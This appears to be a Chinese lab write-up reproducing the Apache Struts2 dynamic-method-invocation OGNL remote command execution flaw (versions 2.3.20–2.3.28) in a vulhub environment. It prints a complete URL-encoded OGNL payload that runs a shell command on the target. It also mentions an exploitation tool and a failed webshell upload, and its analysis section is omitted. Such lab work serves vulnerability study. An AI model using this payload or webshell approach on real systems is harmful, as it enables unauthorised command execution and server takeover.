0X00-引言
当当当
0X01-环境搭建
靶机:CentOS Linux 7
攻击机:windows server 2016 && Kail
环境:vulhub
项目地址:https://github.com/vulhub/vulhub
搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)
0X02-漏洞描述
Struts2在开启了动态方法调用(动态方法调用)的情况下,可以使用method:<name>
的方式来调用调用<name>
的方法,而这个方法名将进行OGNL表达式计算,导致远程命令执行漏洞。
影响版本:Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3 和 2.3.24.3 除外)
0X03-漏洞复现
01-任意命令执行
http://192.168.234.128:8080/index.action?
payload:
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami
0X04-漏洞分析
略
0X05-工具利用
工具地址:https://github.com/Liqunkit/LiqunKit_
01-检测
02-命令执行
03-文件上传
上传冰蝎马
查看路径
冰蝎连接-连接失败
回到docker中查看-找不到shell.jsp的位置
在webapp中也没有shell.jsp
尝试PUT方法上传-PUT方法不支持
文件上传走不通
0X06-查看日志
docker ps #查看容器ID
docker exec -it ID /bin/bash #进入
cd logs #进入日志目录
cat localhost_access_log.2021-12-02.txt #查看日志
exit #退出容器
未找到log文件